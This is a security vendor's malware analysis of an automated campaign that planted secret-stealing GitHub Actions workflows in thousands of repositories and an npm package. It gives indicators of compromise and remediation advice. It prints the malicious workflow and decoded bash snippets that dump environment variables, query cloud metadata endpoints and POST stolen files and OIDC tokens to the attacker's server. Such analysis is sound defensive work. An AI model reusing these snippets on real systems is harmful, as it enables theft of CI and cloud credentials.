Megalodon: Mass GitHub Repo Backdooring via CI Workflows

SafeDep Team
11 min read

Table of Contents

TL;DR

On May 18, 2026, an automated campaign codenamed megalodon pushed 5,718 malicious commits to 5,561 GitHub repositories in a six-hour window. Using throwaway accounts and forged author identities (build-bot, auto-ci, ci-bot, pipeline-bot), the attacker injected GitHub Actions workflows containing base64-encoded bash payloads that exfiltrate CI secrets, cloud credentials, SSH keys, OIDC tokens, and source code secrets to a C2 server at 216.126.225.129:8443.

The campaign deployed two payload variants. The mass variant (SysDiag) adds a new workflow triggered on every push and pull request, maximizing automated execution. A targeted variant (Optimize-Build) replaced existing workflows with workflow_dispatch triggers, creating dormant backdoors that the attacker can fire on demand via the GitHub API. The npm package @tiledesk/tiledesk-server versions 2.18.6 through 2.18.12 carry the targeted variant, propagated to npm through routine publishes by the legitimate maintainer from the compromised GitHub repository.

Jump to full list of compromised repositories

Impact:

  • 5,561 GitHub repositories received malicious workflow commits
  • Exfiltrates all CI environment variables, /proc/*/environ, and PID 1 environment
  • Steals AWS credentials (per-profile access keys, secret keys, session tokens via aws CLI)
  • Harvests GCP access tokens via gcloud auth print-access-token
  • Queries AWS IMDSv2, GCP metadata, and Azure IMDS endpoints for instance role credentials
  • Reads SSH private keys, Docker auth configs, .npmrc, .netrc, Kubernetes configs, Vault tokens, Terraform credentials, and shell history
  • Grep-scans source code for 30+ secret regex patterns (API keys, database connection strings, JWTs, PEM private keys, cloud tokens)
  • Exfiltrates GitHub Actions OIDC token request URL and token, enabling cloud identity impersonation
  • Exfiltrates GITHUB_TOKEN, GitLab CI/CD tokens, and Bitbucket tokens
  • Searches the workspace and common server paths for .env files, credentials.json, service-account.json, and other configuration files

Indicators of Compromise (IoC):

  • C2: hxxp://216[.]126[.]225[.]129:8443
  • Campaign: megalodon
  • Author emails: [email protected], [email protected]
  • Author names: build-bot, auto-ci, ci-bot, pipeline-bot
  • Commit messages: “ci: add build optimization step”, “build: improve ci performance”, “chore: optimize pipeline runtime”, “chore: sync ci configuration”, “chore: update ci/cd pipeline”, “ci: update build config”, “fix: correct build workflow”
  • Mass variant: adds .github/workflows/ci.yml named SysDiag, triggers on push (all branches) + pull_request_target
  • Targeted variant: replaces existing workflow, renames to Optimize-Build, triggers on workflow_dispatch
  • Both variants request permissions: id-token: write, actions: read
  • npm: @tiledesk/tiledesk-server versions 2.18.6 through 2.18.12
  • Tiledesk commit: acac5a9

Analysis

How We Found It

SafeDep’s Malysis engine flagged @tiledesk/[email protected] after detecting a base64-encoded bash payload inside a bundled GitHub Actions workflow file. The package itself is legitimate: Tiledesk is an open source live chat and chatbot platform, published since 2019 with hundreds of versions and six npm maintainers, all with @tiledesk.com or personal email addresses consistent with the project team.

Diffing version 2.18.12 against the clean 2.18.5, one file changed: .github/workflows/docker-community-worker-push-latest.yml. The original Docker build workflow was gone. In its place, a workflow named Optimize-Build with a set +e; echo "..." | base64 -d | bash one-liner. Application code: identical.

Versions 2.18.6 (May 19) through 2.18.12 (May 21) all carry the backdoor. The same npm account, eljohnny ([email protected]), published both the clean 2.18.5 and the compromised versions. The attacker never touched the npm account. They compromised the GitHub repository, and the maintainer published from the poisoned source without realizing it.

Tracing the Commit

The malicious commit (acac5a9) landed on May 18, 2026, authored by build-bot <[email protected]> with the message “ci: add build optimization step”. The author name and generic noreply email mimic automated CI commits. The GitHub API returns null for both the author and committer user fields: no GitHub account is linked. Someone pushed the commit to master with no PR and no merge commit, using a compromised PAT or deploy key. As of this writing, the malicious commit remains on the master branch.

Searching GitHub for other commits by [email protected] revealed the larger campaign.

Campaign Scale

Searching GitHub for commits authored by [email protected] returns 2,878 results. A second email, [email protected], accounts for another 2,841. All 5,718 commits landed on the same day: May 18, 2026, across a six-hour window from approximately 11:36 to 17:48 UTC, targeting 5,561 distinct repositories.

The attacker rotated through four author names (build-bot, auto-ci, ci-bot, pipeline-bot) and seven commit messages, all mimicking routine CI maintenance:

  • ci: add build optimization step
  • build: improve ci performance
  • chore: optimize pipeline runtime
  • chore: sync ci configuration
  • chore: update ci/cd pipeline
  • ci: update build config
  • fix: correct build workflow

The attacker used throwaway GitHub accounts with random 8-character usernames (e.g., rkb8el9r, bhlru9nr, lo6wt4t6), set git config to forge the author identity, and pushed via compromised PATs or deploy keys.

Tiledesk alone was hit across nine repositories: tiledesk-server, tiledesk-dashboard, tiledesk-telegram-connector, tiledesk-llm, tiledesk-docker-proxy, tiledesk-community-app, tiledesk-campaign-dahboard, tiledesk-helpcenter-template, and tiledesk-ai. Other targeted organizations include Black-Iron-Project (8 repos), WISE-Community, and hundreds of smaller repositories.

Full List of Compromised GitHub Repositories

The full list of 5,718 malicious commits across 5,561 repositories, collected from GitHub’s commit search API:

megalodon-campaign-commits.csv
repo commit_sha author_name author_email date message
1 batnano/test-action-523509a94620 000171d4780a pipeline-bot [email protected] 2026-05-18T15:26:51.000Z build: improve ci performance
2 arj1211/sql-practice 00035298ed2c build-bot [email protected] 2026-05-18T15:41:42.000Z fix: correct build workflow
3 Tiledesk/tiledesk-ai 0003a913d6b1 ci-bot [email protected] 2026-05-18T13:10:40.000Z chore: update ci/cd pipeline
4 huyparody/macOS-H81MK-G3250 000b106d3897 ci-bot [email protected] 2026-05-18T14:20:24.000Z ci: add build optimization step
5 sanjayadhikari009/classic-journey 001b0f17a3df auto-ci [email protected] 2026-05-18T12:54:24.000Z build: improve ci performance
6 marko-petkovic/datac3 004412b3714d build-bot [email protected] 2026-05-18T12:37:36.000Z build: improve ci performance
7 happyharbor/future-lib 0044c791a40a auto-ci [email protected] 2026-05-18T14:43:42.000Z chore: update ci/cd pipeline
8 Gaucho-Rocket-Project/Bola-Flight-Computer 004e055477b3 build-bot [email protected] 2026-05-18T13:06:49.000Z chore: optimize pipeline runtime
9 Debbatisudheer/MSE-loss-function- 00679b4c3428 ci-bot [email protected] 2026-05-18T17:44:26.000Z ci: add build optimization step
10 AdilameerAdi/indian-client-project 006bbb681b1d build-bot [email protected] 2026-05-18T12:51:07.000Z chore: sync ci configuration
11 Owolabi5541/laravel-blog 007afa436b5d pipeline-bot [email protected] 2026-05-18T14:01:59.000Z build: improve ci performance
12 vrct07/404-Page 00ac008178a7 auto-ci [email protected] 2026-05-18T14:24:07.000Z build: improve ci performance
13 faezepakravan/Android_learning_exercise 00b81162233d build-bot [email protected] 2026-05-18T13:34:06.000Z fix: correct build workflow
14 aurore017/alu-scripting 00c902eda998 auto-ci [email protected] 2026-05-18T13:28:10.000Z chore: optimize pipeline runtime
15 np03cy4a250023-gif/ComputationalMaths 00e31f723802 ci-bot [email protected] 2026-05-18T13:36:56.000Z ci: add build optimization step
16 yashlad27/food-ordering-app 00e3799ddfe4 pipeline-bot [email protected] 2026-05-18T13:30:25.000Z build: improve ci performance
17 huyparody/ef52slk-oc-kitkat-kernel 00e3a82ba600 pipeline-bot [email protected] 2026-05-18T14:20:09.000Z chore: sync ci configuration
18 gliepins/ssh-login-attempt-notifcation-macos 00eab6bc46a7 auto-ci [email protected] 2026-05-18T16:45:30.000Z build: improve ci performance
19 BryanAlexanderSantoso/Academy-Kaze 00f6059f6979 build-bot [email protected] 2026-05-18T13:49:52.000Z ci: update build config
20 Dejlof/book_management_system 010ad6b1b804 pipeline-bot [email protected] 2026-05-18T15:54:48.000Z chore: sync ci configuration
21 mirfanjazuli/053_PBO_Tugas6 010e88db86dd ci-bot [email protected] 2026-05-18T16:41:44.000Z chore: sync ci configuration
22 BryanAlexanderSantoso/test-action-1779106619711101196 011312bf6266 pipeline-bot [email protected] 2026-05-18T13:38:45.000Z chore: sync ci configuration
23 azimsidd/QuizApp 011c51ea9f07 pipeline-bot [email protected] 2026-05-18T13:22:34.000Z chore: optimize pipeline runtime
24 Davidf2004/test-action-1778959303666756781 0135b85f3ca9 build-bot [email protected] 2026-05-18T17:01:38.000Z build: improve ci performance
25 afomkina/test-jenkins-emaple 014df9175040 pipeline-bot [email protected] 2026-05-18T13:49:21.000Z build: improve ci performance
26 aalmonzer/aalmonzer.github.io 016cd8d2c9a6 auto-ci [email protected] 2026-05-18T12:59:28.000Z build: improve ci performance
27 iamroshanpatak/todo-list 0170c2cccb43 auto-ci [email protected] 2026-05-18T16:30:41.000Z ci: add build optimization step
28 yashlad27/TY-Sem2 01768085c4fe auto-ci [email protected] 2026-05-18T13:31:09.000Z chore: sync ci configuration
29 happyharbor/green-wave 0176e440526e auto-ci [email protected] 2026-05-18T14:43:08.000Z fix: correct build workflow
30 LuanKrzyzaniak/pong-python 01825b017ab5 pipeline-bot [email protected] 2026-05-18T17:08:10.000Z chore: update ci/cd pipeline
31 Sbongslany/job-web 0197a43bb701 ci-bot [email protected] 2026-05-18T16:30:06.000Z fix: correct build workflow
32 Dyybyy/frrgr 019be7f401fe build-bot [email protected] 2026-05-18T13:26:04.000Z ci: update build config
33 tnk1204/teaak.com 01a80f5f9a46 ci-bot [email protected] 2026-05-18T17:00:24.000Z chore: update ci/cd pipeline
34 justin0427/ColorPalette 01ac946ca3c5 ci-bot [email protected] 2026-05-18T13:10:19.000Z ci: update build config
35 ANDREWTENAJEROS/hiram_ios 01b9541f0178 ci-bot [email protected] 2026-05-18T16:06:24.000Z chore: sync ci configuration
36 youneedgreg/notification-system 01c396e4376c build-bot [email protected] 2026-05-18T13:56:23.000Z chore: sync ci configuration
37 summit-webapp-themes/fancy-gold 01cff9a6976d auto-ci [email protected] 2026-05-18T11:49:57.000Z chore: sync ci configuration
38 Skypieee6/clawbot-core 01dce11e6bc2 build-bot [email protected] 2026-05-18T14:32:46.000Z chore: optimize pipeline runtime
39 danhoernchen/metmuseumscroller 01e828bc1ab2 auto-ci [email protected] 2026-05-18T13:52:44.000Z fix: correct build workflow
40 thebenmerlin/GStyl-USD 01e88c2ca472 ci-bot [email protected] 2026-05-18T12:12:41.000Z chore: update ci/cd pipeline
41 shkshakhawat/JavaScript 01eea139eb51 auto-ci [email protected] 2026-05-18T17:04:19.000Z chore: sync ci configuration
42 deploy11/malumotuz 01f9057dee4e build-bot [email protected] 2026-05-18T11:54:44.000Z ci: update build config
43 SanketVerse/Scrappydo 01fbb934d215 ci-bot [email protected] 2026-05-18T17:19:03.000Z chore: optimize pipeline runtime
44 Heseela/BookBazaar 0206d1454db1 auto-ci [email protected] 2026-05-18T12:12:59.000Z ci: add build optimization step
45 l8yh1/eesssss 0209c70e8609 auto-ci [email protected] 2026-05-18T17:35:00.000Z ci: add build optimization step
46 Asultop/oneweb 021692a6c026 pipeline-bot [email protected] 2026-05-18T12:43:39.000Z chore: update ci/cd pipeline
47 deploy11/TodoApi 021a6f7b0c43 build-bot [email protected] 2026-05-18T11:50:47.000Z ci: add build optimization step
48 git-init-priyanshu/zsh-config 021b7d1a5afa ci-bot [email protected] 2026-05-18T16:59:12.000Z ci: update build config
49 b1kaf7/JavaScript 02326c091396 pipeline-bot [email protected] 2026-05-18T15:28:25.000Z chore: sync ci configuration
50 vkuznet/CMSExitCodes 0233ea858006 auto-ci [email protected] 2026-05-18T13:49:34.000Z ci: add build optimization step
51 PyreX00/drf-api 023628a4ac36 ci-bot [email protected] 2026-05-18T12:04:52.000Z fix: correct build workflow
52 rajanyadav80/test-action-1778966162054429330 02371743009a ci-bot [email protected] 2026-05-18T13:06:02.000Z chore: update ci/cd pipeline
53 BryanAlexanderSantoso/Restfull-API 023b6417d494 auto-ci [email protected] 2026-05-18T13:51:13.000Z build: improve ci performance
54 AmarKumarShaw/svelte_todo_app 02418ba82c37 auto-ci [email protected] 2026-05-18T12:14:05.000Z chore: update ci/cd pipeline
55 oluccasfernandes/sistema-bibliotecario 024fcd1e183a pipeline-bot [email protected] 2026-05-18T16:05:07.000Z ci: update build config
56 HamzaElMkhantar/Mongoose-Checkpoint 0252decb0509 auto-ci [email protected] 2026-05-18T17:24:12.000Z ci: update build config
57 Tiledesk/tiledesk-helpcenter-template 02541d19ee79 ci-bot [email protected] 2026-05-18T13:15:00.000Z fix: correct build workflow
58 mirfanjazuli/notes-app-back-end 026a4b5a2382 pipeline-bot [email protected] 2026-05-18T16:38:22.000Z ci: update build config
59 simonebonusoo/bnsstudio-shopify-theme 026da9e8b708 build-bot [email protected] 2026-05-18T13:18:00.000Z chore: sync ci configuration
60 varunvaghasiya11/Node_js_API_create 027dbb9de483 ci-bot [email protected] 2026-05-18T13:57:03.000Z fix: correct build workflow
61 dongyiqi/trinitiexcel2json 02834c54ba9b auto-ci [email protected] 2026-05-18T15:10:32.000Z chore: sync ci configuration
62 igorKopylov/weather_app 028f2908ac8b auto-ci [email protected] 2026-05-18T13:24:46.000Z ci: add build optimization step
63 HamzaElMkhantar/LinkedIn-clone 029a460c658d build-bot [email protected] 2026-05-18T17:25:09.000Z fix: correct build workflow
64 Davidf2004/test-action-1779100547028636790 029f8ccd57d5 ci-bot [email protected] 2026-05-18T16:57:29.000Z chore: optimize pipeline runtime
65 jongsun-park/cra-portfolio 02adee4338ab build-bot [email protected] 2026-05-18T16:20:36.000Z ci: add build optimization step
66 thebenmerlin/LITEngine 02c6ec8387c1 pipeline-bot [email protected] 2026-05-18T12:11:34.000Z build: improve ci performance
67 marcusvar/case-dev 02d8855c1bfd auto-ci [email protected] 2026-05-18T14:19:38.000Z ci: update build config
68 REPOSITORIO-PROYECTOS/sistema-quimicos 02d99cd92e02 build-bot [email protected] 2026-05-18T14:11:36.000Z chore: optimize pipeline runtime
69 charanamith/final-review 02db66a255d8 pipeline-bot [email protected] 2026-05-18T17:04:06.000Z fix: correct build workflow
70 pranto2051/Hithub-Profile-Design 02f1c246f906 ci-bot [email protected] 2026-05-18T14:15:55.000Z fix: correct build workflow
71 UniLucca/test 0304286a62a6 auto-ci [email protected] 2026-05-18T17:06:18.000Z chore: optimize pipeline runtime
72 abhinavhello/test-action-1778960691770800809 0304d34076bc ci-bot [email protected] 2026-05-18T12:03:12.000Z chore: update ci/cd pipeline
73 myssaqil/Kelompok-1-ALRPO-PIZZA-APP 0307e6195e0b pipeline-bot [email protected] 2026-05-18T14:11:53.000Z chore: sync ci configuration
74 Ashwiin/Space-X-Falcon-9-First-Stage-Landing-Prediction 03085ab00141 pipeline-bot [email protected] 2026-05-18T16:51:37.000Z ci: add build optimization step
75 umairabhatti786/test-action-1778960691758917850 030d102dabaa auto-ci [email protected] 2026-05-18T12:30:36.000Z ci: update build config
76 ABQ4539/fraud-detection-frontend 0313d4f8925e auto-ci [email protected] 2026-05-18T16:00:21.000Z build: improve ci performance
77 svenlabsllc/sling-staging-sandbox 0326e96a9ad5 build-bot [email protected] 2026-05-18T11:41:08.000Z chore: sync ci configuration
78 revel-um/test-action-1779100547319885912 0330b70e3170 pipeline-bot [email protected] 2026-05-18T12:01:02.000Z ci: add build optimization step
79 SuyeongUeno/Vercel 033d49198792 pipeline-bot [email protected] 2026-05-18T17:06:44.000Z chore: optimize pipeline runtime
80 git-init-priyanshu/Docx-animations 033e6e934b02 auto-ci [email protected] 2026-05-18T16:59:29.000Z build: improve ci performance
81 thebenmerlin/DL-Hackathon 0348e9ba78be pipeline-bot [email protected] 2026-05-18T12:12:02.000Z fix: correct build workflow
82 elenecu/05-NOC 034964970e13 build-bot [email protected] 2026-05-18T16:08:50.000Z build: improve ci performance
83 Akshith809/Netshow 034be2c7033e pipeline-bot [email protected] 2026-05-18T13:16:08.000Z chore: sync ci configuration
84 Tiledesk/tiledesk-nodejs-libs 03721b61f89b build-bot [email protected] 2026-05-18T12:51:19.000Z build: improve ci performance
85 alexmagwe/tictactoe-react 03917dfe974e build-bot [email protected] 2026-05-18T13:03:36.000Z ci: update build config
86 Srj-Love/Product 0398c05688b0 ci-bot [email protected] 2026-05-18T12:49:38.000Z ci: update build config
87 admin-xpertia/arxivtest 03ab2b0fe8d8 build-bot [email protected] 2026-05-18T11:47:30.000Z fix: correct build workflow
88 Princ3k/arifkhan 03ae22223191 build-bot [email protected] 2026-05-18T13:54:34.000Z fix: correct build workflow
89 theabelchannel/Taller-05 03e750c1652e ci-bot [email protected] 2026-05-18T13:23:09.000Z fix: correct build workflow
90 sahidDev09/Learnica-2.0 03ebd65c50b3 ci-bot [email protected] 2026-05-18T16:05:23.000Z ci: update build config
91 VietNamCombatZ/carRentalSystem 03f88fc12cbc pipeline-bot [email protected] 2026-05-18T15:46:15.000Z fix: correct build workflow
92 atb9210/trico-rosmarinus 03f95fdc6a93 auto-ci [email protected] 2026-05-18T13:52:24.000Z chore: optimize pipeline runtime
93 Aarabdh13/Gensys 03ff01cc835e pipeline-bot [email protected] 2026-05-18T13:32:10.000Z chore: update ci/cd pipeline
94 theabelchannel/Taller10JUnit 040960c911e1 build-bot [email protected] 2026-05-18T13:22:51.000Z chore: sync ci configuration
95 ayushrudani/FarmerAssistance 0431fc84272d ci-bot [email protected] 2026-05-18T12:12:01.000Z fix: correct build workflow
96 gitfarag/e2e-crud-app 043661111d3b build-bot [email protected] 2026-05-18T17:26:03.000Z chore: sync ci configuration
97 Udbhav-2025/udbhav-ht100ml011 044951c92b49 pipeline-bot [email protected] 2026-05-18T13:06:56.000Z build: improve ci performance
98 muhammamdsurya/basecamp 045b9b53cc3e ci-bot [email protected] 2026-05-18T14:11:33.000Z chore: optimize pipeline runtime
99 ho-cyber/Comp-Research 0472bca6e4a8 ci-bot [email protected] 2026-05-18T17:27:12.000Z fix: correct build workflow
100 bishaldahal4777/calculator 04983dc0b3b0 ci-bot [email protected] 2026-05-18T13:29:59.000Z chore: optimize pipeline runtime
5718 rows · showing first 100
| 6 columns

Top Projects taking the hit:

Two Payload Variants

The campaign deployed two distinct workflow variants. The mass-scale variant, used in 5,700+ repositories, adds a new file .github/workflows/ci.yml named SysDiag with triggers on push to all branches and pull_request_target. This variant fires automatically on every push and PR, maximizing coverage. The Tiledesk variant replaced an existing workflow, renamed it to Optimize-Build, and used workflow_dispatch (manual trigger only), a more targeted approach. Both variants share the same C2 (216.126.225.129:8443), the same megalodon campaign identifier, and the same exfiltration payload, but each commit gets a unique session ID.

Execution Trigger

In the Tiledesk case, the malicious code does not execute when someone installs the npm package. The payload lives inside a bundled GitHub Actions workflow file, .github/workflows/docker-community-worker-push-latest.yml, and targets CI/CD runners.

The original workflow built and pushed Docker images on pushes to master:

# .github/workflows/docker-community-worker-push-latest.yml (clean, v2.18.5)
name: Docker Image Community Worker latest CI
on:
push:
branches: [ master ]
pull_request:
branches: [ master ]
jobs:
push_to_registry:
name: Push Docker image to Docker Hub
runs-on: ubuntu-latest
steps:
- name: Check out the repo
uses: actions/checkout@v4
- name: Login to Docker Hub
uses: docker/login-action@v3
...

The attacker replaced this with:

# .github/workflows/docker-community-worker-push-latest.yml (malicious, v2.18.6+)
name: Optimize-Build
on:
workflow_dispatch:
permissions:
contents: read
id-token: write
actions: read
jobs:
check:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
fetch-depth: 1
- run: set +e; echo "Q0I9Imh0dHA6Ly8yMTYuMTI2LjIy..." | base64 -d | bash

The trigger switched to workflow_dispatch (manual only). The attacker added id-token: write permission, enabling OIDC impersonation. And the entire build logic became a single run step that decodes and executes a base64 blob.

Why workflow_dispatch?

The trigger change from on: push to on: workflow_dispatch is a stealth choice. GitHub Actions evaluates the workflow file version present in the commit being pushed. When acac5a9 landed on master, the workflow file already specified workflow_dispatch, so the push did not trigger the payload. The GitHub Actions API confirms zero workflow_dispatch runs for this workflow; the last run was a push event on May 4, before the compromise.

This makes the backdoor dormant. It creates no visible runs in the Actions tab, no failed builds, no red flags in CI history. The attacker can trigger it later via the GitHub API:

POST /repos/{owner}/{repo}/actions/workflows/{workflow}/dispatches
{"ref": "master"}

GitHub’s anti-recursion rules prevent GITHUB_TOKEN-triggered events from spawning new workflow runs. But workflow_dispatch and repository_dispatch are exempted from this restriction. If the attacker obtains a GITHUB_TOKEN from any other workflow run in the same repo (through a compromised dependency, a PR-triggered action, or another supply chain vector), they can fire the exfiltration workflow on demand.

The tradeoff is reach: on: push would guarantee execution on every commit to master, hitting more targets without intervention. workflow_dispatch sacrifices that for operational security. With 5,700+ repos compromised, even a small fraction yielding a usable GITHUB_TOKEN gives the attacker enough targets for on-demand triggering.

Malicious Payload

The base64 blob decodes to a 111-line bash script. It begins by configuring the C2 endpoint and a cleanup trap:

Terminal window
# decoded payload
CB="http://216.126.225.129:8443?h=megalodon&l=gh_dump&id=hefs8esnhgkx"
DID="hefs8esnhgkx"
PLAT="gh"
WORK="$GITHUB_WORKSPACE"
TMP_DIR=$(mktemp -d)
trap "rm -rf '$TMP_DIR'" EXIT

A helper function _post() handles exfiltration. It truncates files above 5MB, posts them to the C2 with metadata headers, and adds a random sleep between 0-1 seconds:

Terminal window
# decoded payload
_post() {
local fname="$1" fpath="$2"
[ -z "$fpath" ] || [ ! -s "$fpath" ] && return
local sz=$(stat -c%s "$fpath" 2>/dev/null || stat -f%z "$fpath" 2>/dev/null || echo 0)
[ "$sz" -gt 5242880 ] && head -c 5242880 "$fpath" > "$fpath.trunc" && fpath="$fpath.trunc"
curl -sS -X POST -m 60 \
-H 'Content-Type: text/plain' \
-H "X-Mega-DID: $DID" \
-H "X-Mega-Plat: $PLAT" \
-H "X-Mega-File: $fname" \
--data-binary @"$fpath" \
"${CB}&l=${PLAT}_exfil&id=${DID}&f=${fname}" >/dev/null 2>&1 || true
sleep $((RANDOM % 2))
}

Data Collection

The script collects data in five phases.

Phase 1: Environment variables. Dumps printenv, reads /proc/self/environ, iterates over /proc/[0-9]*/environ for all readable processes, and reads PID 1’s environment. This captures every secret exposed as an environment variable on the runner: GITHUB_TOKEN, Docker Hub credentials, custom secrets.

Terminal window
# decoded payload
printenv | sort > "$TMP_DIR/meta_printenv.txt" 2>/dev/null
_post "meta_printenv" "$TMP_DIR/meta_printenv.txt"
[ -d /proc ] && for p in /proc/[0-9]*/environ; do
[ -f "$p" ] && [ -r "$p" ] && tr '\0' '\n' < "$p" 2>/dev/null
done | sort -u | head -2000 > "$TMP_DIR/meta_proc_all.txt"
_post "meta_proc_all" "$TMP_DIR/meta_proc_all.txt"

Phase 2: Credential files. The script reads 27 specific credential files by path, covering AWS (~/.aws/credentials, ~/.aws/config), SSH (id_rsa, id_ed25519, id_ecdsa), Docker (~/.docker/config.json), npm (~/.npmrc), GCP (application_default_credentials.json, credentials.db), GitHub CLI (~/.config/gh/hosts.yml), Kubernetes (~/.kube/config), Terraform (credentials.tfrc.json), Vault (~/.vault-token), git credentials, shell history, and Kubernetes service account tokens.

Phase 3: Cloud provider credential harvesting. If the aws CLI is available, the script iterates over every configured profile, calls sts get-caller-identity, and extracts access keys, secret keys, and session tokens. For GCP, it runs gcloud auth list and gcloud auth print-access-token. It also queries all three major cloud IMDS endpoints:

Terminal window
# decoded payload (GCP IMDS)
curl -sS -m 3 -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/?recursive=true" > "$TMP_DIR/meta_gcp.txt"
# decoded payload (AWS IMDSv2)
IMDS_TOK=$(curl -sS -m 3 -X PUT \
-H "X-aws-ec2-metadata-token-ttl-seconds: 60" \
"http://169.254.169.254/latest/api/token")
curl -sS -m 3 -H "X-aws-ec2-metadata-token: $IMDS_TOK" \
"http://169.254.169.254/latest/meta-data/iam/security-credentials/$role"
# decoded payload (Azure IMDS)
curl -sS -m 3 -H "Metadata: true" \
"http://169.254.169.254/metadata/instance?api-version=2021-02-01"

Phase 4: File and code scanning. Searches the workspace, home directory, /tmp, and /home/runner for configuration files (.env, credentials.json, service-account.json, docker-compose.yml, etc.) and exfiltrates each one. Then grep-scans source code across 30+ file extensions using a regex that matches AWS access keys (AKIA/ASIA), Stripe/Razorpay keys, SendGrid API keys, Sendinblue keys, Mailgun keys, GitHub tokens (ghp/gho/ghu/ghs/ghr and fine-grained PATs), GitLab tokens (all 13 token prefixes), Atlassian tokens, Heroku API keys, Slack tokens, npm tokens, PyPI tokens, DigitalOcean tokens, Doppler tokens, Buildkite tokens, Pulumi tokens, Vercel tokens, Postman keys, Azure SAS tokens, JWTs, database connection strings (MongoDB, Postgres, MySQL, Redis, MSSQL, AMQP), PEM private keys, and common environment variable patterns (AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, DATABASE_URL, etc.).

Phase 5: CI/CD token theft. The script targets CI platform tokens for identity impersonation:

Terminal window
# decoded payload
if [ -n "$ACTIONS_ID_TOKEN_REQUEST_URL" ]; then
printf 'req_url=%s\ntoken=%s\n' \
"$ACTIONS_ID_TOKEN_REQUEST_URL" "$ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
> "$TMP_DIR/oidc_gh.txt"
_post "oidc_gh" "$TMP_DIR/oidc_gh.txt"
fi

The ACTIONS_ID_TOKEN_REQUEST_URL and ACTIONS_ID_TOKEN_REQUEST_TOKEN pair enables the attacker to request OIDC tokens that impersonate the GitHub Actions workflow. Organizations using OIDC federation for cloud deployments (instead of long-lived secrets) face the worst outcome: the attacker can mint tokens that authenticate to AWS, GCP, or Azure as the CI identity.

Anti-Forensics

The payload uses set +e to suppress errors, wraps the C2 curl calls with || true to prevent workflow failure on network errors, uses a temp directory with a cleanup trap, and adds random sleeps between exfiltration calls. The workflow_dispatch trigger means the workflow only runs if someone manually invokes it (or the attacker does via a stolen GITHUB_TOKEN), not on every push. This reduces the chance of accidental discovery through failed CI runs.

Conclusion

5,700+ commits in six hours, 5,561 repositories, one payload: replace a GitHub Actions workflow with a dormant secret exfiltration backdoor. The workflow_dispatch trigger design means these backdoors sit silent until activated, creating no visible CI runs.

Tiledesk shows how repository compromise cascades to package registries. Seven npm versions carried the backdoor because the maintainer published from a poisoned repo. Application code: untouched. Only the workflow file changed. Code review would catch this, but nobody reviews workflow files in npm packages.

If your repository received a commit from [email protected] or [email protected] on May 18, 2026: revert it, audit your workflow files, and rotate any secrets available to GitHub Actions runners. Check your Actions tab for unexpected workflow_dispatch runs. If you use OIDC federation for cloud deployments, review cloud audit logs for token requests from unknown workflow runs.

  • malware
  • npm
  • supply-chain
  • ci-cd
  • secret-exfiltration
  • github-actions

Author

SafeDep Logo

SafeDep Team

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

MYRA: A Full Linux RAT Distributed via npm

MYRA: A Full Linux RAT Distributed via npm

The npm package apintergrationpost is a red team RAT called MYRA with native C rootkit, triple persistence, fileless execution, live screen streaming, and process masquerade. This analysis documents...

SafeDep Team
Background
SafeDep Logo

Ship Code.

Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.